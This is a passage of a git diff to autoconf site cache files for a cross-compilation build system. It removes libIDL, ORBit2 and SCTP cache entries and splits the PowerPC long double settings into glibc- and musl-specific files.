wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mips64el-linux b/meta/site/mips64el-linux
index 680171d5e3..406ffd66c5 100644
--- a/meta/site/mips64el-linux
+++ b/meta/site/mips64el-linux
@@ -43,9 +43,6 @@ ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mipsel-linux b/meta/site/mipsel-linux
index 696b1beeb4..e9cf193cec 100644
--- a/meta/site/mipsel-linux
+++ b/meta/site/mipsel-linux
@@ -39,9 +39,6 @@ ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mipsisa32r6-linux b/meta/site/mipsisa32r6-linux
index 72a54f95e3..b2f15eee18 100644
--- a/meta/site/mipsisa32r6-linux
+++ b/meta/site/mipsisa32r6-linux
@@ -39,9 +39,6 @@ ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mipsisa32r6el-linux b/meta/site/mipsisa32r6el-linux
index 696b1beeb4..e9cf193cec 100644
--- a/meta/site/mipsisa32r6el-linux
+++ b/meta/site/mipsisa32r6el-linux
@@ -39,9 +39,6 @@ ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mipsisa64r6-linux b/meta/site/mipsisa64r6-linux
index ed0fbbe653..e7c16405eb 100644
--- a/meta/site/mipsisa64r6-linux
+++ b/meta/site/mipsisa64r6-linux
@@ -43,9 +43,6 @@ ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/mipsisa64r6el-linux b/meta/site/mipsisa64r6el-linux
index 680171d5e3..406ffd66c5 100644
--- a/meta/site/mipsisa64r6el-linux
+++ b/meta/site/mipsisa64r6el-linux
@@ -43,9 +43,6 @@ ac_cv_linux_vers=${ac_cv_linux_vers=2}
# startup-notification
lf_cv_sane_realloc=${lf_cv_sane_realloc=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# ncftp
wi_cv_struct_timeval_tv_sec=${wi_cv_struct_timeval_tv_sec=long}
wi_cv_struct_timeval_tv_usec=${wi_cv_struct_timeval_tv_usec=long}
diff --git a/meta/site/nios2-linux b/meta/site/nios2-linux
index 67a3fc8a75..656da9fde4 100644
--- a/meta/site/nios2-linux
+++ b/meta/site/nios2-linux
@@ -2,9 +2,6 @@ ac_cv_func_lstat_dereferences_slashed_symlink=${ac_cv_func_lstat_dereferences_sl
ac_cv_func_lstat_empty_string_bug=${ac_cv_func_lstat_empty_string_bug=no}
ac_cv_func_stat_empty_string_bug=${ac_cv_func_stat_empty_string_bug=no}
ac_cv_func_stat_ignores_trailing_slash=${ac_cv_func_stat_ignores_trailing_slash=no}
-ac_cv_header_netinet_sctp_h=${ac_cv_header_netinet_sctp_h=no}
-ac_cv_header_netinet_sctp_uio_h=${ac_cv_header_netinet_sctp_uio_h=no}
-ac_cv_sctp=${ac_cv_sctp=no}
# apache
ac_cv_sizeof_ssize_t=${ac_cv_sizeof_ssize_t=4}
@@ -113,9 +110,6 @@ lftp_cv___va_copy=${lftp_cv___va_copy=yes}
# libesmtp
acx_working_snprintf=${acx_working_snprintf=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
# libnet
ac_libnet_have_packet_socket=${ac_libnet_have_packet_socket=yes}
@@ -140,21 +134,6 @@ mysql_cv_func_atomic_add=${mysql_cv_func_atomic_add=no}
ac_cv_regexec_segfault_emptystr=${ac_cv_regexec_segfault_emptystr=no}
nano_cv_func_regexec_segv_emptystr=${nano_cv_func_regexec_segv_emptystr=no}
-# ORBit2
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_double=8
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_double=8
-ac_cv_alignof_CORBA_long_long=8
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_pointer=4
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_struct=1
-ac_cv_alignof_CORBA_wchar=2
-ac_cv_func_getaddrinfo=${ac_cv_func_getaddrinfo=yes}
-
# php
ac_cv_pread=${ac_cv_pread=no}
ac_cv_pwrite=${ac_cv_pwrite=no}
diff --git a/meta/site/powerpc32-linux b/meta/site/powerpc32-linux
index f37e915cb3..501e5b605d 100644
--- a/meta/site/powerpc32-linux
+++ b/meta/site/powerpc32-linux
@@ -8,7 +8,6 @@ ac_cv_sizeof_int=${ac_cv_sizeof_int=4}
ac_cv_sizeof_int_p=${ac_cv_sizeof_int_p=4}
ac_cv_sizeof_long=${ac_cv_sizeof_long=4}
ac_cv_sizeof_long_p=${ac_cv_sizeof_long_p=4}
-ac_cv_sizeof_long_double=${ac_cv_sizeof_long_double=16}
ac_cv_sizeof_long_int=${ac_cv_sizeof_long_int=4}
ac_cv_sizeof_long_long=${ac_cv_sizeof_long_long=8}
ac_cv_sizeof_long_long_int=${ac_cv_sizeof_long_long_int=8}
@@ -39,10 +38,6 @@ cookie_io_functions_use_off64_t=${cookie_io_functions_use_off64_t=yes}
# apache
ac_cv_sizeof_ssize_t=${ac_cv_sizeof_ssize_t=4}
-ac_cv_header_netinet_sctp_h=${ac_cv_header_netinet_sctp_h=no}
-ac_cv_header_netinet_sctp_uio_h=${ac_cv_header_netinet_sctp_uio_h=no}
-ac_cv_sctp=${ac_cv_sctp=no}
-
# ssh
ac_cv_have_space_d_name_in_struct_dirent=${ac_cv_dirent_have_space_d_name=yes}
ac_cv_have_broken_snprintf=${ac_cv_have_broken_snprintf=no}
@@ -155,23 +150,6 @@ compat_cv_func_dirname_works=${compat_cv_func_dirname_works=no}
# slrn
slrn_cv_va_val_copy=${slrn_cv_va_val_copy=yes}
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
-# ORBit2
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_double=4
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_double=4
-ac_cv_alignof_CORBA_long_long=4
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_pointer=4
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_struct=4
-ac_cv_alignof_CORBA_wchar=2
-
# cvs
cvs_cv_func_printf_ptr=${cvs_cv_func_printf_ptr=yes}
@@ -262,10 +240,3 @@ samba_cv_have_setresuid=${samba_cv_have_setresuid=yes}
# mysql
mysql_cv_func_atomic_sub=${mysql_cv_func_atomic_sub=no}
mysql_cv_func_atomic_add=${mysql_cv_func_atomic_add=no}
-
-
-# libc
-libc_cv_ppc_machine=${libc_cv_ppc_machine=yes}
-libc_cv_mlong_double_128ibm=${libc_cv_mlong_double_128ibm=yes}
-libc_cv_mabi_ibmlongdouble=${libc_cv_mabi_ibmlongdouble=yes}
-libc_cv_mlong_double_128=${libc_cv_mlong_double_128=yes}
diff --git a/meta/site/powerpc32-linux-glibc b/meta/site/powerpc32-linux-glibc
new file mode 100644
index 0000000000..62da435989
--- /dev/null
+++ b/meta/site/powerpc32-linux-glibc
@@ -0,0 +1,8 @@
+ac_cv_sizeof_long_double=${ac_cv_sizeof_long_double=16}
+
+# libc
+libc_cv_ppc_machine=${libc_cv_ppc_machine=yes}
+libc_cv_mlong_double_128ibm=${libc_cv_mlong_double_128ibm=yes}
+libc_cv_mabi_ibmlongdouble=${libc_cv_mabi_ibmlongdouble=yes}
+libc_cv_mlong_double_128=${libc_cv_mlong_double_128=yes}
+
diff --git a/meta/site/powerpc32-linux-musl b/meta/site/powerpc32-linux-musl
new file mode 100644
index 0000000000..8575ba7531
--- /dev/null
+++ b/meta/site/powerpc32-linux-musl
@@ -0,0 +1,2 @@
+ac_cv_sizeof_long_double=${ac_cv_sizeof_long_double=8}
+
diff --git a/meta/site/powerpc64-linux b/meta/site/powerpc64-linux
index 820a4b8440..18f9f29a6b 100644
--- a/meta/site/powerpc64-linux
+++ b/meta/site/powerpc64-linux
@@ -4,7 +4,6 @@ ac_cv_sizeof_double=${ac_cv_sizeof_double=8}
ac_cv_sizeof_float=${ac_cv_sizeof_float=4}
ac_cv_sizeof_int=${ac_cv_sizeof_int=4}
ac_cv_sizeof_long=${ac_cv_sizeof_long=8}
-ac_cv_sizeof_long_double=${ac_cv_sizeof_long_double=16}
ac_cv_sizeof_long_int=${ac_cv_sizeof_long_int=8}
ac_cv_sizeof_long_long=${ac_cv_sizeof_long_long=8}
ac_cv_sizeof_long_long_int=${ac_cv_sizeof_long_long_int=8}
diff --git a/meta/site/powerpc64-linux-glibc b/meta/site/powerpc64-linux-glibc
new file mode 100644
index 0000000000..dc5c28524b
--- /dev/null
+++ b/meta/site/powerpc64-linux-glibc
@@ -0,0 +1,2 @@
+ac_cv_sizeof_long_double=${ac_cv_sizeof_long_double=16}
+
diff --git a/meta/site/powerpc64-linux-musl b/meta/site/powerpc64-linux-musl
new file mode 100644
index 0000000000..38c537dd1b
--- /dev/null
+++ b/meta/site/powerpc64-linux-musl
@@ -0,0 +1 @@
+ac_cv_sizeof_long_double=${ac_cv_sizeof_long_double=8}
diff --git a/meta/site/sh-common b/meta/site/sh-common
index 97c96934d7..d269a17db9 100644
--- a/meta/site/sh-common
+++ b/meta/site/sh-common
@@ -31,10 +31,6 @@ ac_cv_time_r_type=${ac_cv_time_r_type=POSIX}
# apache
ac_cv_sizeof_ssize_t=${ac_cv_sizeof_ssize_t=4}
-ac_cv_header_netinet_sctp_h=${ac_cv_header_netinet_sctp_h=no}
-ac_cv_header_netinet_sctp_uio_h=${ac_cv_header_netinet_sctp_uio_h=no}
-ac_cv_sctp=${ac_cv_sctp=no}
-
# ssh
ac_cv_have_space_d_name_in_struct_dirent=${ac_cv_dirent_have_space_d_name=yes}
ac_cv_have_broken_snprintf=${ac_cv_have_broken_snprintf=no}
@@ -173,23 +169,6 @@ slrn_cv_va_val_copy=${slrn_cv_va_val_copy=yes}
# startup-notification
lf_cv_sane_realloc=yes
-# libidl
-libIDL_cv_long_long_format=${libIDL_cv_long_long_format=ll}
-
-# ORBit2
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_double=4
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_double=4
-ac_cv_alignof_CORBA_long_long=4
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_pointer=4
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_struct=4
-ac_cv_alignof_CORBA_wchar=2
-
# cvs
cvs_cv_func_printf_ptr=${cvs_cv_func_printf_ptr=yes}
diff --git a/meta/site/x86_64-linux b/meta/site/x86_64-linux
index 778e2c53ee..ea3176da93 100644
--- a/meta/site/x86_64-linux
+++ b/meta/site/x86_64-linux
@@ -73,26 +73,9 @@ am_cv_func_working_getline=${am_cv_func_working_getline=yes}
#gcc
ac_cv_lib_m_sin=${ac_cv_lib_m_sin=yes}
-#orbit
-libIDL_cv_long_long_format=ll
-
# bash
bash_cv_func_sigsetjmp=${bash_cv_func_sigsetjmp=present}
-# ORBit2
-ac_cv_alignof_CORBA_boolean=1
-ac_cv_alignof_CORBA_char=1
-ac_cv_alignof_CORBA_double=8
-ac_cv_alignof_CORBA_float=4
-ac_cv_alignof_CORBA_long=4
-ac_cv_alignof_CORBA_long_double=8
-ac_cv_alignof_CORBA_long_long=8
-ac_cv_alignof_CORBA_octet=1
-ac_cv_alignof_CORBA_pointer=8
-ac_cv_alignof_CORBA_short=2
-ac_cv_alignof_CORBA_struct=1
-ac_cv_alignof_CORBA_wchar=2
-
lf_cv_sane_realloc=yes
as_cv_unaligned_access=${as_cv_unaligned_access=yes}